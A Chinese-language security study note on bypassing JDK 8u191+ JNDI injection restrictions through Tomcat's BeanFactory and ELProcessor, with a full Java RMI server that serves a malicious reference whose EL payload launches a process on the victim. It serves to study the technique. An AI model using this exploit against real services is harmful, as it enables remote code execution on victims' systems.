前言:上一篇的jndi注入和原理都学习了之后,基本在jdk8中的191以下都可以进行远程恶意类的加载,然后这里就继续来学习191之后的绕过方法
参考文章:https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html
对于Oracle JDK 11.0.1、8u191、7u201、6u211或者更高版本的JDK来说,默认环境下之前这些利用方式都已经失效。然而,我们依然可以进行绕过并完成利用。
自己搜索到有两种方法都可以绕过191,这两种方式都非常依赖受害者本地CLASSPATH中环境,需要利用受害者本地的Gadget进行攻击。
利用本地Class作为Reference Factory
原理:找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令。
环境还是JNDI注入(二)笔记中的环境,此时我用的还是rmi+jndi,我的jdk版本是8u181,我这次把System.setProperty(“com.sun.jndi.rmi.object.trustURLCodebase”, “true”);进行注释,最后结果为如下:
调试可以发现,在decodeObject方法判断trustURLCodebase处就会抛出错误
想要绕过trustURLCodebase判断,如下所示,trustURLCodebase配置项肯定没办法,但是getFactoryClassLocation(),当reference不设置远程加载恶意的Factory的时候,这个返回的就是null,那么这条语句就不成立!
if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) {
throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
} else {
return NamingManager.getObjectInstance(var3, var2, this, this.environment);
}
getFactoryClassLocation()不让它成立,那么Reference只能如下的规则来进行生成,也就是说还可以定义String className, String factory
那么String className, String factory,这两个属性在Client请求绑定对象的时候在哪里生效呢?继续来找下,其实还是在getObjectFactoryFromReference这个方法中
所以如果本地存在可以进行利用的gadgets那么还是可以进行JNDI注入,从而绕过trustURLCodebase
这个工厂类必须在受害目标本地的CLASSPATH中。工厂类必须实现 javax.naming.spi.ObjectFactory 接口,并且至少存在一个getObjectInstance()方法。
org.apache.naming.factory.BeanFactory 刚好满足条件并且存在被利用的可能。org.apache.naming.factory.BeanFactory 存在于Tomcat依赖包中,所以使用也是非常广泛。
org.apache.naming.factory.BeanFactory 在 getObjectInstance() 中会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值。
而该Bean Class的类名、属性、属性值,全都来自于Reference对象,均是攻击者可控的。
调试过程
Client如下,加载本地类org.apache.naming.factory.BeanFactory
返回了一个BeanFactory对象
接着就是调用该BeanFactory对象的getObjectInstance方法,先是生成javax.el.ELProcessor Class对象
接着就是实例化javax.el.ELProcessor,后面说明为什么实例化的是ELProcessor
接着跟如下一部分
调用如下
接着调用取出”x”的为主键的字符串值
最后进行调用”x”主键中的字符串,el表达式进行执行,最终执行命令calc
绕过复现
public class RMIReferenceServerTest {
public static void main(String[] args) throws Exception{
System.out.println("Creating evil RMI registry on port 9527");
LocateRegistry.createRegistry(9527);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
Naming.bind("rmi://192.168.1.230:9527/AAAAAA", referenceWrapper);
System.out.println("RMI服务启动成功,服务地址:" + "rmi://192.168.1.230:9527/AAAAAA");
}
}
利用LDAP返回序列化数据,触发本地Gadget
原理:利用LDAP直接返回一个恶意的序列化对象,JNDI注入依然会对该对象进行反序列化操作,利用反序列化Gadget完成命令执行。